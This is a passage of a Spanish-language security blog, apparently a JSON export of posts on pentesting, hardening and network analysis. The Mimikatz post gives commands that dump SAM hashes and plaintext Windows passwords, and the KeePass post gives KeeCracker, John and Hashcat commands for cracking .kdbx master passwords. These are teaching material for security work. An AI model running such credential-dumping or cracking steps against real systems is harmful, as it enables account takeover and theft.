texto plano y los hashes de la …","tags":["Post-Explotación","Red Team","Pentesting","NTLM","Hashes","Pass-the-Hash","Mimikatz","MITRE ATT\u0026CK"],"date":"2018-06-08","content":"Mimikatz es una herramienta archiconocida de cracking que nos permitirá la obtención de contraseñas de usuarios de un sistema. Nos volcará (dumping) las contraseñas en texto plano y los hashes de la SAM (Security Account Manager). Hay mucha información al respecto sobre esta tool y como sacarle un buen partido. Más info: https://adsecurity.org/?page_id=1821 De todos modos, no había hablado de ella hasta ahora. Recientemente tuve que hacer uso de ella para conocer la password de unos usuarios locales creados en un sistema. Comprobé que aún seguía funcionando para Windows 10 como lo hacía para Windows 7 ya que el desarrollador fue actualizando esta herramienta. Para un correcto funcionamiento Mimikatz debe ejecutarse con privilegios de administrador. Podremos ver en texto plano las contraseñas del resto de usuarios locales y de las credenciales de puntos de montaje que tengamos en el sistema. Una vez descarguemos Mimikatz, abrimos una consola de comandos y nos situamos en el path donde lo hubiésemos descargado, ejecutamos el binario mimikatz.exe dependiendo de la arquitectura de nuestro sistema (32 bits o 64 bits). Para acceder al prompt que nos proporciona y escribimos. Extracción de hashes NTLM realizando un volcado de hashes del fichero SAM. Nos situamos en el modo debug, teniendo el token de un usuario administrador local del sistema podemos impersonarlo y elevarlo a SYSTEM para realizar este volcado con el módulo lsadump de Mimikatz. privilege::debug token::elevate lsadump::sam Figura 1: Volcado de hashes NTLM de los usuarios de la base de datos local SAM. Extracción de contraseñas en texto plano de los usuarios locales de Windows usando el módulo sekurlsa de Mimikatz. privilege::debug sekurlsa::logonPasswords Desde el módulo sekurlsa podríamos usar el comando wdigest (sekurlsa::wdigest) pero esto solo tendría sentido para sistemas no superiores a Windows 7 ya que la funcionalidad de envío de credenciales a través de wdigest no está admitida en versiones posteriores. Finalmente obtenemos el resultado con las contraseñas de usuarios locales en texto plano. LogonPasswords nos muestra también los hashes NT lo cual también es interesante. Figura 2: Volcado de contraseñas en texto plano de los usuarios locales de Windows. Saludos! "},{"title":"Nmap dhcp-discover: descubrir servidores DHCP en una red","url":"/posts/nmap-dhcp-discover-descubrir-servidores-dhcp/","summary":"El protocolo de red DHCP (Dynamic Host Configuration Protocol) permite la asignación de configuración IP, como mínimo la dirección IP y máscara de red, en una arquitectura cliente/servidor. Si un …","tags":["Pentesting","Red Team","Network Scan","Redes","DHCP","Nmap"],"date":"2018-05-07","content":"El protocolo de red DHCP (Dynamic Host Configuration Protocol) permite la asignación de configuración IP, como mínimo la dirección IP y máscara de red, en una arquitectura cliente/servidor. Si un equipo cliente tiene una configuración en su interface de red en modo automático, el cliente solicita una configuración IP de red si existe un servidor DHCP en la misma red este ofrece asignando una configuración de direccionamiento IP en el cliente que realizó la solicitud. Figura 1: Esquema DHCP. El protocolo BOOTP (Bootstrap Protocol) es utilizado por los clientes para obtener una dirección IP automáticamente. Los puertos por defecto utilizados por BOOTP son: 67/udp (servidor) y 68/udp (cliente). Proceso de funcionamiento DHCP en cliente/servidor Link to heading El cliente solicita una IP difundiendo un mensaje DHCP DISCOVER a la subred local. Los servidores ofrecen una dirección IP (DHCP OFFER) y el resto de parámetros de configuraciones locales para el cliente (DNS, nombre de dominio, puerta de enlace, etc.), si esta está configurada para ser entregada en las opciones de configuración del servidor DHCP. Si ningún servidor DHCP responde al cliente, este envía un DHCP DISCOVER cada 0, 4, 8, 16 y 32 segundos y luego un intervalo aleatorio hasta un minuto. Si pasado 1 minuto no se recibe respuesta: Si el cliente usa APIPA (Automatic Private IP addressing), el cliente se autoconfigurará con una IP (en el caso de Microsoft usará una IP de la red 169.254.0.0/24). La interface del cliente no se inicia (IP 0.0.0.0/0). El cliente al recibir el DHCP OFFER indica a uno de los oferentes que acepta la IP recibida (DHCP REQUEST). El servidor envía una configuración DHCP ACK al cliente indicándole los términos de arrendamiento. A partir de ahora el cliente ya puede usar una IP asignada. El cliente solicita una renovación de la IP cuando pase la mitad del tiempo de concesión. El servidor le concede la renovación. El cliente libera la IP. Figura 2: Esquema de funcionamiento DHCP cliente/servidor. En la figura 3 se puede ver un ejemplo de captura de tráfico pcap de la solicitud cliente-servidor de una asignación automática de una dirección IP. Vemos los datagramas DHCP Discover, Offer, Request y finalmente ACK. Figura 3: Captura pcap Wireshark del funcionamiento DHCP. Conocer el servidor/es DHCP de una misma red en un cliente Linux Link to heading El fichero /var/lib/dhcp/dhclient.leases almacena, entre otras cosas, las concesiones de direcciones que ofrecen al cliente los servidores DHCP. Para descubrir los servidores DHCP, si la interface de red está en modo de asignación automática. Podemos liberar la dirección IP actual y volver a asignar una nueva configuración IP con la utilidad dhclient. $ sudo dhclient -r eth0 $ sudo dhclient eth0 En la imagen de la figura 4 se puede ver como se crea el fichero dhclient.leases después de liberar (parámetro -r de dhclient) y volver a solicitar una nueva dirección IP (simplemente dhclient) a los posibles servidores DHCP de la misma red. En este caso el servidor DHCP es el mismo que la puerta de enlace. Figura 5: Asignación de dirección IP en un cliente Ubuntu. En el log del sistema /var/log/syslog vemos la comunicación que fue realizada entre el cliente y el servidor DHCP. Figura 6: Encontrando servidor DHCP en /var/log/syslog. Conocer el servidor/es DHCP de una misma red en un cliente Windows Link to heading En un equipo cliente Windows podremos liberar su configuración IP actual con el parámetro /release de la utilidad ipconfig y volver a solicitar una nueva configuración IP al servidor DHCP de esa red con el parámetro /renew. ipconfig /release ipconfig /renew Figura 7: Liberación y asignación de nueva IP a un cliente Windows. Con ipconfig /all se puede ver la configuración completa en las interfaces de red, al contrario que en sistemas Linux, Windows ya nos muestra el servidor DHCP que le ofreció la concesión de dirección IP. Figura 8: Conocer servidor DHCP en cliente Windows. Conocer el servidor/es DHCP con Nmap DHCP Discover Link to heading Si estamos en una red en la que sabemos que pueden existir múltiples servidores DHCP e incluso servidores DHCP Relay, existe una utilidad-script dentro de la utilidad Nmap que nos permitirá descubrir los servidores DHCP disponibles de la red. Con -sU escaneamos UDP y -p escaneamos un puerto, que en este caso sería el 67 (67/udp). Pasamos el script dhcp-discover y a continuación el target que sería la dirección de red con su notación CIDR. nmap -sU -p 67 --script=dhcp-discover \u0026lt;target\u0026gt; En la imagen vemos el servidor DHCP marcado como el server identifier. Figura 9: DHCP Discover con nmap. Estos scripts están ubicados en el directorio scripts/ de Nmap con formato propietario .nse (Nmap Scripting Engine) editables. Otra opción sería utilizar el script broadcast-dhcp-discover. En la website oficial de Nmap se detallan las diferencias entre los scripts .nse: dhcp-discover broadcast-dhcp-discover Saludos! "},{"title":"Log del firewall de Windows en tiempo real (pfirewall.log)","url":"/posts/log-firewall-windows-tiempo-real-pfirewall-log/","summary":"Para poder ver el log del firewall de Windows en tiempo real primero tendremos que habilitar la creación y almacenamiento del log.\nWindows le asigna el nombre por defecto pfirewall.log ubicado en …","tags":["Blue Team","Threat Hunting","Ingeniería de Detección","Event Logs","Redes"],"date":"2018-03-11","content":"Para poder ver el log del firewall de Windows en tiempo real primero tendremos que habilitar la creación y almacenamiento del log. Windows le asigna el nombre por defecto pfirewall.log ubicado en %systemroot%\\System32\\LogFiles\\Firewall\\pfirewall.log. Para configurar el log del firewall (firewall.cpl) nos vamos a las propiedades avanzadas de WFAS (Windows Firewall Advanced Security), eligiremos el perfil en el que se registrará el log y lo personalizamos, especificando un path en el que se almacenará el registro de log o simplemente dejaremos el que Windows establece por defecto. Opcionalmente podemos registrar los paquetes descartados y/o los paquetes correctos. Figura 1: Estableciendo el path y opciones del registro de log del Firewall de Windows. En el editor de directivas de grupo local (gpedit.msc) habilitamos la GPO local que permite el registro del log del Firewall de Windows Defender, en el caso de Windows 10 es el mismo que el firewall de Windows simplemente aquí se llama de otra manera o mejor dicho, en Windows 10 se le otorga ese nombre. Figura 2: Habilitar la GPO local que permite el registro de log para el Firewall de Windows Defender. Finalmente el paso que da lugar al título de esta entrada. ¿Cómo poder ver este log en tiempo real? Para ello hacemos uso de la colección de herramientas desarrollada por Cygnus Cygwin la cual descargamos e instalamos en nuestro equipo. Esta nos proporciona un sistema POSIX. Una shell que nos permite ejecutar una suite de herramientas de comandos de sistemas Unix. Proporcionando así un comportamiento similar a sistemas Unix en entornos Windows. El comando tail en sistemas Unix muestra las últimas líneas de uno o más archivos, si se acompaña del parámetro -f podemos ver las últimas líneas de un archivo en tiempo real, si el sistema estuviese escribiendo en ese mismo instante. Con la siguiente instrucción a través de la shell que nos proporciona Cygwin podemos entonces ver en tiempo real el log del firewall de Windows. tail -f /cygdrive/c/Windows/System32/LogFiles/Firewall/pfirewall.log Otra alternativa a \u0026ldquo;tail -f\u0026rdquo; sería \u0026ldquo;less +F\u0026rdquo;, o simplemente el comando less y una vez que estemos visualizando el fichero presionar \u0026ldquo;Shift+F\u0026rdquo;, con esto veremos el fichero en tiempo real y podremos interrumpir el proceso en cualquier momento con Ctrl+C y con los cursores del teclado nos podemos desplazar por el fichero un punto anterior para poder analizarlo, si queremos nuevamente volver a visualizar el fichero en tiempo real con Shift+F, de modo que en ningún momento se cierre el fichero. Con la letra q saldríamos del less y por lo tanto del fichero que estemos visualizando. Figura 3: Log en tiempo real del log del firewall de Windows pfirewall.log. Saludos! "},{"title":"Descifrar tráfico SSL/TLS en Wireshark con la clave privada","url":"/posts/descifrar-trafico-ssl-tls-wireshark-clave-privada/","summary":"Para poder descifrar tráfico SSL/TLS necesitamos la clave privada sin passphrase del certificado digital del servidor. No se trata de ningún \u0026ldquo;hack mágico\u0026rdquo; con el que podremos descifrar el …","tags":["Blue Team","Análisis Forense","Wireshark","Redes","Certificados digitales","PKI","CA"],"date":"2017-09-13","content":"Para poder descifrar tráfico SSL/TLS necesitamos la clave privada sin passphrase del certificado digital del servidor. No se trata de ningún \u0026ldquo;hack mágico\u0026rdquo; con el que podremos descifrar el tráfico SSL/TLS. Si necesitamos analizar el tráfico de un servidor al que tenemos un acceso legítimo, este es un método que nos permitirá poder ver en texto plano todo el tráfico cifrado que pasa por el servidor con el fin de detectar posibles anomalías en una red local. Una vez obtenida la clave privada podremos añadirla en un sniffer de red como Wireshark, de ese modo analizar el tráfico HTTPS como si de un paquete HTTP se tratase. Limitación con Perfect Forward Secrecy Wireshark solo podrá descifrar el tráfico si dispones de la clave privada del servidor sin passphrase y el cifrado negociado no usa Perfect Forward Secrecy (DHE/ECDHE). Con suites PFS modernas este procedimiento no funciona; en ese caso usa SSLKEYLOGFILE desde el navegador. Al intentar hacer un seguimiento de un cifrado HTTPS este se muestra como un paquete TCP. Haciendo un Follow \u0026gt; TCP Stream en Wireshark veremos el tráfico cifrado, como se muestra en la siguiente captura. Figura 1: Paquete de tráfico TCP cifrado con SSL. Exportamos el certificado con la clave privada del servidor. Una vez tenemos exportado el certificado en formato .pfx con OpenSSL lo convertimos en formato .pem que es el formato que Wireshark reconoce. Primero extraemos la clave privada del certificado y después eliminamos la contraseña de la clave privada extraída. Extraemos la clave privada del certificado y la convertimos a formato .pem. openssl pkcs12 in certificado.pfx -out claveprivada.pem -nocerts -nodes Eliminamos la passphrase de la clave privada extraída anteriormente. openssl rsa -in claveprivada.pem -out claveprivadasinpass.pem Figura 2: Conversión y extracción de la clave privada del certificado digital .pfx. Añadir la clave privada .pem sin passphrase extraída del certificado .pfx en Wireshark: \u0026ldquo;Edit \u0026gt; Preferences\u0026hellip; \u0026gt; Protocols \u0026gt; SSL\u0026rdquo;. (Si no vemos el protocolo SSL, en las nuevas versiones de Wireshark será el equivalente a protocolo TLS). Editamos para cargar la clave privada. IP Address: IP del servidor. Port: 443 Protocol: HTTP Key File: Path del fichero de la clave privada .pem. Password: Podremos dejar en blanco este espacio ya que el .pem de la clave privada está sin passphrase. Figura 3: Añadir la clave privada .pem en Wireshark. Podremos establecer un fichero de log \u0026ldquo;SSL debug file\u0026rdquo;. En el que se almacenará en texto plano todos los paquetes cifrados, también podremos analizar desde otra perspectiva el tráfico cifrado desde el fichero log. Figura 4: Fichero log debug SSL de Wireshark. Una vez cargada la clave privada .pem reiniciamos Wireshark para actualizar los cambios. Los paquetes TCP cifrados anteriormente serán ahora paquetes HTTP en texto plano y se podrán seguir: \u0026ldquo;Follow \u0026gt; SSL Stream\u0026rdquo;. Figura 5: Seguimiento SSL Stream de paquetes HTTP descifrados. En la siguiente captura de pantalla se puede ver el seguimiento del SSL stream en texto plano en paquetes HTTP. En este caso se trata del mismo seguimiento de paquetes TCP referenciados en la \u0026ldquo;Figura 6\u0026rdquo;. Figura 6: SSL Stream en texto plano de paquetes HTTP. Aunque por seguridad, en la generación de cualquier certificado se debería marcar la opción como no exportable para la clave privada, con el fin de minimizar riesgos en la organización. Ya que si alguien no autorizado consiguiese acceso al servidor este podría exportar un certificado PKCS#12 con la clave privada y generar su propia passphrase. Saludos! "},{"title":"OpenSSL: convertir certificados digitales (PFX, CSR, PEM, CRT, CER) y clave privada","url":"/posts/openssl-convertir-certificados-digitales-pfx-csr-pem-crt-cer-clave-privada/","summary":"En Windows Server cuando se genera un certificado autofirmado por el propio servidor este se puede exportar por defecto en formato .pfx. Los certificados en formato .pfx contienen tanto la clave …","tags":["Certificados digitales","PKI","CA","OpenSSL","Hardening"],"date":"2017-09-09","content":"En Windows Server cuando se genera un certificado autofirmado por el propio servidor este se puede exportar por defecto en formato .pfx. Los certificados en formato .pfx contienen tanto la clave pública como la privada. Tipos de formatos más frecuentes de certificados Link to heading .CSR (Certificate Signing Request): Sería el archivo generado normalmente por el servidor que usará el certificado SSL. El CSR contiene información relativa a la organización. .KEY: Es el archivo de clave privada para cifrar las solicitudes. .DER (Distinguish Encoding Rules): Suelen tener la extensión CRT o CER. Es un tipo de codificación de certificados X.509, NO un tipo de certificado. Es un formato binario o raw. .CRT .CERT .CER .PEM (Privacy Enhanced Mail): Ambos son usados indistintamente. .pem contiene el certificado y la clave, mientras que un fichero .crt solo contiene el certificado. Generalmente codificado en Base64, encerrado entre \u0026ldquo;\u0026mdash;BEGIN CERTIFICATE\u0026mdash;\u0026rdquo; y \u0026ldquo;\u0026mdash;END CERTIFICATE\u0026mdash;\u0026rdquo;. .CRL (Certificate Revocation List): Fichero que contiene una lista de revocación de certificados. .P7B .P7C: Estructura PKCS#7 SignedData sin datos, solo certificado(s) o CRL(s) .PKCS12 (PKCS #12) .P12 .PFX: Se usa en servidores Windows. Contiene todos los archivos en un único archivo, tanto la clave pública como la clave privada asociada, generada por el servidor en el momento en el que se generó el CSR. Si necesitamos extraer la clave privada podemos usar OpenSSL el cual utilizará uno de los estándares de criptografía PKCS (Public-Key Cryptography Standards) concretamente PKCS#12 (formatos .PFX) que define un formato de fichero usado comúnmente para almacenar claves privadas con su certificado de clave pública protegido mediante clave simétrica (es decir, una passphrase o contraseña). Exportamos el certificado autofirmado del servidor IIS. Estará en formato PKCS#12. Figura 1: Exportando certificado del servidor IIS. Podemos exportar dicho certificado del propio equipo local a través de la consola de Microsoft para la administración de certificados certmgr.msc. Agregar administrador de certificados a través de un MMC. En el asistente de exportación nos permite la opción de incluir la clave privada en el certificado. Figura 2: Exportando certificado desde certmgr.msc. Descargar OpenSSL para Windows. A través de una CLI de Windows Server ejecutamos OpenSSL con PKCS12 para la obtención de la clave privada del certificado. Tendremos que extraer el certificado (clave pública), la clave privada (nos pedirá la contraseña en ambos casos) y finalmente eliminar el passphrase de la clave privada extraída. Figura 3: Usando OpenSSL para la extracción de certificados. Extraer la clave pública del certificado .pfx Link to heading openssl pkcs12 -in certificate.pfx -out public-certificate.cer -clcerts -nokeys certificate.pfx: certificado pfx del servidor. public-certificate.cer: clave pública, también se podría exportar a un formato de salida .crt o .pem. -nokeys: separará la clave pública de la clave privada del certificado .pfx. -clcerts: certificados de cliente (no certificados de CA). Figura 4: Fichero de salida de la clave pública. Extraer la clave privada del certificado .pfx Link to heading openssl pkcs12 -in certificate.pfx -out private-key.key -nocerts -nodes certificate.pfx: certificado pfx del servidor. private-key.key: clave privada, también se podría exportar a un formato de salida .crt o .pem. -nocerts: separará la clave privada de la clave pública del certificado .pfx. -nodes: no cifra la salida de la clave privada (quedando visible en texto plano). Clave privada sin cifrar El flag -nodes (\u0026ldquo;No DES\u0026rdquo;) deja la clave privada en texto plano en el fichero de salida. Cualquiera con acceso al fichero tiene la clave. Aplícale permisos 600 inmediatamente, almacénalo en un keystore seguro y bórralo del disco temporal en cuanto la importes en el sistema final. Figura 5: Fichero de salida de la clave privada en texto plano (-nodes). Extraer la clave pública, privada y cadena de certificados CA del certificado .pfx Link to heading openssl pkcs12 -in certificate.pfx -out ca-certificate.cer -cacerts -chain -nokeys certificate.pfx: certificado pfx del servidor. ca-certificate.cer: certificados CA, también se podría exportar a un formato de salida .crt o .pem. -chain: incluye toda la cadena de certificados del certificado de usuario. -cacerts: certificados CA (no certificados de cliente). -nokeys: separará la clave pública de la clave privada del certificado .pfx. Eliminar la contraseña de la clave privada extraída del certificado .pfx Link to heading openssl rsa -in claveprivada.pem -out claveprivadasinpassphrase.key Figura 6: Fichero de salida de la clave privada sin passphrase. Con esto finalmente tendremos la clave privada sin contraseña para poder utilizarla en lo que nos sea necesario. Convertir certificados CRT, CRT (CA) y clave privada .key a un solo archivo PFX Link to heading En el caso de tener el archivo .crt del certificado en sí, el archivo .crt de la CA y el archivo de la clave privada en un .key. Para poder fusionar estos tres ficheros en un solo fichero .pfx (PKCS #12 por lo general, usado en sistemas Windows). openssl pkcs12 -export -out certificate.pfx -inkey rsaprivate.key -in certificate.crt -certfile fileca.crt certificate.pfx: Certificado de salida en formato pfx. rsaprivate.key: La clave privada. certificate.crt: La clave pública. fileca.crt: Fichero de autoridad de la entidad certificadora (CA) En el caso de que simplemente necesitemos obtener un certificado .pfx, por tipo de formato de fichero, solamente en base a la clave privada .key y pública .crt podemos omitir el fichero de la CA. openssl pkcs12 -export -out certificate.pfx -inkey rsaprivate.key -in certificate.crt Saludos! "},{"title":"Administrar permisos de un servicio de Windows sobre un objeto","url":"/posts/administrar-permisos-servicio-windows-objeto/","summary":"Definimos objeto a un fichero, carpeta, unidad, etc. Todo aquello en lo que se puedan administrar permisos NTFS en el caso de Windows.\nCon los permisos NTFS de Windows podemos gestionar las DACL …","tags":["Hardening","Blue Team","WMI","ACLs","NTFS","Permisos","PsTools"],"date":"2017-08-06","content":"Definimos objeto a un fichero, carpeta, unidad, etc. Todo aquello en lo que se puedan administrar permisos NTFS en el caso de Windows. Con los permisos NTFS de Windows podemos gestionar las DACL (Discretionary Access Control List) son listas de control de acceso discrecional en las que se pueden controlar quien es el propietario de un objeto y especifica quién tiene permiso y quién no para acceder a dicho objeto. Sabemos que se pueden conceder DACL a usuarios locales del sistema, de un dominio, equipos o grupos de usuarios sobre uno o varios objetos (ficheros, carpetas o unidades). ¿Se pueden administrar estos permisos a objetos para un servicio de Windows o de terceros? Si. Se pueden asignar uno o varios servicios a uno o varios objetos de Windows y establecer permisos sobre ellos. Lo que pasa que no se puede hacer de una forma gráfica amigable ni de manera trivial como pasa con los usuarios. Para conceder permisos a un objeto es necesario conocer el SID (Security Identifier) del usuario, equipo, grupo, etc. Que se va a asignar a ese objeto. Por ejemplo en el caso de Windows, buscando el nombre de un usuario y asignándolo a un objeto sería suficiente para administrar las DACL de ese usuario sobre un objeto. De forma subyacente el sistema está reconociendo un SID asociado a ese usuario. Los SID de los usuarios locales de un equipo se registran en la siguiente rama del registro de Windows. HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ProfileList Hay otras formas de conocer los SID de usuarios locales así como también usuarios de dominio y equipos. Para conocer estos SID podemos usar WMIC (Windows Management Instrumentation Command-line). Para listar todos los usuarios locales filtrando por nombre de usuario y SID. wmic useraccount get name,sid Igual que lo anterior pero filtrando un nombre de usuario en concreto. wmic useraccount where (name=\u0026#39;USUARIO\u0026#39;) get name,sid Lo mismo pero para usuarios que pertenezcan a un dominio. wmic useraccount where (name=\u0026#39;USUARIO\u0026#39; and domain=\u0026#39;DOMINIO\u0026#39;) get name,sid Con PsGetSid (de Sysinternals) para listar los SID de usuarios locales de equipos remotos y el propio SID de la máquina local y otras remotas. Para ejecutar cualquier herramienta PsTools de forma remota tendremos que conocer las credenciales de un administrador local o de dominio en la máquina remota. Comentado todo lo anterior vamos a ver cómo podemos agregar un servicio a un objeto y gestionar sus permisos. Lo primero que tenemos que averiguar es el nombre asignado a un servicio. Ya sea de Windows o de una aplicación de terceros la forma de conocerlo sería la misma. En este caso de ejemplo usaré el servicio de Dropbox para Windows. Abrimos una consola de servicios (services.msc) y buscamos el servicio que queremos utilizar. Cuando abrimos el servicio vemos el apartado \u0026ldquo;Nombre del servicio\u0026rdquo; será ese el que usaremos. Figura 1: Nombre del servicio Dropbox para Windows (DbxSvc). Para conocer su SID asignado por Windows a un servicio usaremos la herramienta de comandos de Windows SC (Service Controller). sc showsid DbxSvc Figura 2: Conocer el SID asignado a un servicio de Windows con SC. Ahora solo quedaría asociar ese SID a un objeto. De forma gráfica personalmente no encontré forma de hacerlo, pero si por la herramienta de comandos de Windows [ICACLS](https://technet.microsoft.com/es-es/library/cc753525(v=ws.11).aspx). Con la que podemos mostrar y gestionar las listas de control de acceso discrecional (DACL) de un objeto. En este caso agregaremos a la carpeta llamada \"test\" (que será el objeto) el servicio de Dropbox mediante el SID obtenido anteriormente. icacls c:\\test /grant *S-1-5-80-315955965-2752282644-3851734118-3415690430-1520210413:(f) Figura 3: Agregando un servicio a un objeto con ICACLS. Ahora vemos como el servicio DbxSvc ya está integrado en el objeto y podremos manipular los permisos de forma gráfica. Figura 4: Administrando de forma gráfica los permisos de un servicio agregado a un objeto. Saludos! "},{"title":"Cómo protegerse de ataques ARP Spoofing","url":"/posts/como-protegerse-de-ataques-arp-spoofing/","summary":"Siguiendo el tema de las entradas en las que comenté los ataques MITM en la tabla ARP.\nAtaques MITM: ARP Poisoning y DNS Spoof con Ettercap - Parte 1 de 2 Ataques MITM: ARP Poisoning y DNS Spoof con …","tags":["Hardening","Blue Team","MITM","ARP Spoofing","Netsh","Redes","IoA"],"date":"2017-08-03","content":"Siguiendo el tema de las entradas en las que comenté los ataques MITM en la tabla ARP. Ataques MITM: ARP Poisoning y DNS Spoof con Ettercap - Parte 1 de 2 Ataques MITM: ARP Poisoning y DNS Spoof con ARPSpoof - Parte 2 de 2 El éxito de esta técnica de ataque radica en que dentro de una misma red local es posible la suplantación de la dirección MAC de la puerta de enlace, por la dirección MAC del atacante en la tabla ARP del equipo atacado. De modo que todo el tráfico que se genere desde en el equipo atacado será interceptado por el equipo atacante y este a su vez lo redireccionará a la dirección de la puerta de enlace legítima de la red local, de esta manera el equipo atacado no será consciente de que su tráfico de red se esté monitoreando, a menos que este consulte su tabla ARP (arp -a). En la siguiente captura se puede ver una consulta a la tabla ARP de un equipo atacado, consultada antes y después de ser atacado. Vemos como la dirección MAC del Gateway es suplantada por la dirección MAC del atacante (en este caso correspondiente a la dirección IP 192.168.100.20). Figura 1: Suplantación de MAC en la tabla ARP (ARP Spoofing). Una opción que podemos aplicar para prevenir la suplantación de la dirección MAC de nuestro Gateway, es incluir dicha dirección MAC en la tabla ARP del sistema local de forma estática. Con esto conseguiremos que el equipo ya tenga definida una ruta estática de dirección IP correspondiente con su dirección MAC, por lo que será imposible el uso de técnicas ARP Spoofing para intentar suplantarla. En sistemas Windows añadir una o varias rutas estáticas en la tabla ARP es posible con la utilidad de comandos ARP. arp -s [IP_GATEWAY] [MAC_GATEWAY] Figura 2: Añadir ruta estática en la tabla ARP en sistemas Windows. Otra forma de hacerlo es mediante la utilidad de comandos Netsh en su modo interactivo. netsh netsh\u0026gt;interface netsh\u0026gt;ipv4 netsh\u0026gt;add neighbors \u0026#34;[NOMBRE_INTERFACE]\u0026#34; \u0026#34;[IP_GATEWAY]\u0026#34; \u0026#34;[MAC_GATEWAY]\u0026#34; Figura 3: Añadir una ruta estática en la tabla ARP en sistemas Windows con Netsh. En el caso de sistemas Linux el argumento y la expresión del comando es la misma que en el caso de Windows. Vemos como las rutas estáticas en la tabla ARP se marcan como \u0026ldquo;PERM\u0026rdquo; (permanent). arp -s [IP_GATEWAY] [MAC_GATEWAY] Figura 4: Añadir una ruta estática en la tabla ARP en sistemas Linux. Cualquiera de estas líneas de comandos de la tabla ARP se podría automatizar en un script de inicio del sistema. Ejecutar scripts o aplicaciones al inicio del sistema. En el caso de Windows se puede crear un fichero por lotes .bat con la instrucción. Y añadir este script en el inicio de sesión o sistema. @echo off arp -s [IP_GATEWAY] [MAC_GATEWAY] exit En el caso de Linux crearíamos un script .sh en bash. Darle permisos de ejecución a este script y añadiendo el path de ubicación en una línea al final del fichero /etc/rc.local por ejemplo. #!/bin/sh -e # Añadir ruta estática gateway en la tabla ARP arp -s [IP_GATEWAY] [MAC_GATEWAY] exit 0 Saludos! "},{"title":"Fuerza bruta en ficheros .kdbx de KeePassX","url":"/posts/fuerza-bruta-en-ficheros-kdbx-de-keepassx/","summary":"KeePassX es una aplicación para la gestión de contraseñas. Es una derivación de KeePass Password Safe pero en su versión GNU GPL. Creando un nuevo almacén (fichero base de datos), al que vincularemos …","tags":["Pentesting","Red Team","Fuerza bruta","Cracking","Hashes","John the Ripper","KeePassX"],"date":"2017-07-29","content":"KeePassX es una aplicación para la gestión de contraseñas. Es una derivación de KeePass Password Safe pero en su versión GNU GPL. Creando un nuevo almacén (fichero base de datos), al que vincularemos con una contraseña maestra, podemos guardar usuarios y contraseñas asociadas a determinados servicios, estos \u0026ldquo;almacenes\u0026rdquo; se guardan en un fichero .kdbx en el caso de KeePassX y ficheros .kdb en el caso de KeePass. De este modo con acordarnos de una única contraseña tendremos acceso a las demás. Si tenemos la contraseña maestra podemos desempaquetar el fichero de la base de datos y cargarlo correctamente en la aplicación para su uso y visualización de contraseñas. La base de datos se cifra en AES o Twofish usando una clave de 256 bits. La base de datos KeePassX (kdbx) es compatible con KeePass Password Safe. Aplicando técnicas de ataque brute-force en la que le pasaremos un wordlist, podemos extraer la contraseña maestra y tener acceso al fichero kdbx en este caso. Una de las herramientas utilizadas será KeeCracker. Le pasaríamos un diccionario o wordlist, en este caso crearé uno con palabras concretas como prueba de concepto. Figura 1: Fichero wordlist para PoC. Ejecutamos en una consola el binario KeeCracker.exe en el que le pasamos el diccionario con el argumento -w (lista.txt) y seguidamente la base de datos .kdbx de KeePassX. KeeCracker.exe -w [fichero_wordlist] [fichero_kdbx] Figura 2: PoC de KeeCracker. Como vemos la password maestra de la base de datos kdbx ha sido encontrada. Dependerá del wordlist que tengamos pueda ser encontrada la password establecida en la base de datos kdbx. Esto influirá lógicamente, como todos los ataques de fuerza bruta, en la complejidad de la contraseña maestra que se establezca en la base de datos. KeeCracker también puede ser usado con John the Ripper de forma incremental. john --incremental --stdout | KeeCracker -w - KeePassDb.kdbx También podemos usar de forma independiente John y Hashcat. John Link to heading keepass2john SecretDB.kdbx \u0026gt; Keepasshash.txt john --wordlist=rockyou.txt KeepassHash.txt Hashcat Link to heading keepass2john SecretDB.kdbx \u0026gt; Keepasshash.txt hashcat -m 13400 -a 0 -w 1 Keepasshash.txt cracklib-words Saludos! "},{"title":"Automatizar backups FTPS con WinSCP, Batch, PowerShell y 7zip","url":"/posts/automatizar-backups-ftps-winscp-batch-powershell-7zip/","summary":"Hace tiempo que quería comentar el tema de como hago mis copias de seguridad de la información personal. Intentaré explicar de forma detallada y clara todo el proceso.\nRepositorios Github: …","tags":["Hardening","PowerShell","Backups","FTPS","FTP","WinSCP","BitLocker","GPO"],"date":"2017-07-18","content":"Hace tiempo que quería comentar el tema de como hago mis copias de seguridad de la información personal. Intentaré explicar de forma detallada y clara todo el proceso. Repositorios Github: https://github.com/adrianlois/Backups-FTPES-WinSCP-7Zip-Batchfile https://github.com/adrianlois/Backups-FTP-WinSCP-7Zip-PowerShell Se pueden realizar copias de seguridad de una manera u otra. Ya sea copiando directamente la información a algún medio extraíble, subiéndola a algún servicio de almacenamiento cloud, copias redundantes en ambos medios, etc. A su vez, cuantas más medidas de seguridad se tomen para cada una de estas técnicas, más segura estará la información, pero también más \u0026ldquo;pasos\u0026rdquo; habrá que desencadenar para llegar a ella. En este caso expondré la forma en la que personalmente realizo mis copias de seguridad. Intento no utilizar, siempre que sea posible, aplicaciones locales o almacenamientos cloud de terceros bien conocidos como pueden ser: GoogleDrive, OneDrive, Dropbox, etc. Ya que actualmente son los servicios más extendidos y usados, por lo que tienen un vector de ataque continuo pero a su vez son servicios que están constantemente actualizándose, lo que los hacen ser \u0026ldquo;insuficientemente seguros\u0026rdquo;. En el caso de usar un servicio de terceros de almacenamiento cloud habría que intentar contratarlo en una empresa no tan extendida pero de confianza. En mi caso tengo una carpeta con toda la información a respaldar, esta carpeta está ubicada en un disco duro extraíble protegido con un cifrado BitLocker To Go. Es decir, que cuando conectamos el disco duro extraíble a un puerto USB del equipo tenemos que introducir una password para desbloquearlo y así poder acceder a la información. Primera medida de seguridad es el disco duro extraíble por lo que nunca tengo la información en el disco local del sistema ni en un segundo disco conectado directamente a ningún puerto SATA de la placa base. Segunda medida de seguridad es el cifrado por BitLocker To Go. De este modo puedo llevarme el disco duro extraíble a cualquier parte y conectarlo a cualquier equipo con un sistema operativo MS Windows que admita BitLocker, sin recurrir a ningún software de terceros para el cifrado del disco, porque como ya dije, prefiero utilizar mecanismos propios de los sistemas operativos y así garantizar la disponibilidad de la información en un entorno Windows de forma nativa. No es el caso que voy a comentar pero también estaría la posibilidad de cifrar una unidad de almacenamiento externo USB con VeraCrypt. Otra buena alternativa a BitLocker To Go. Tercer paso sería garantizar esta información en caso de pérdida, tener una redundancia. ¿Qué pasaría si en un futuro perdiese físicamente el disco duro extraíble o no pudiese acceder a él porque hubiese sido dañado?. Pues esta redundancia la tendríamos en un sitio de ubicado geográficamente distinto, un sitio de terceros. Actualmente tengo contratado un servicio de almacenamiento cloud en una empresa de Hosting, la cual es de mi confianza. Este 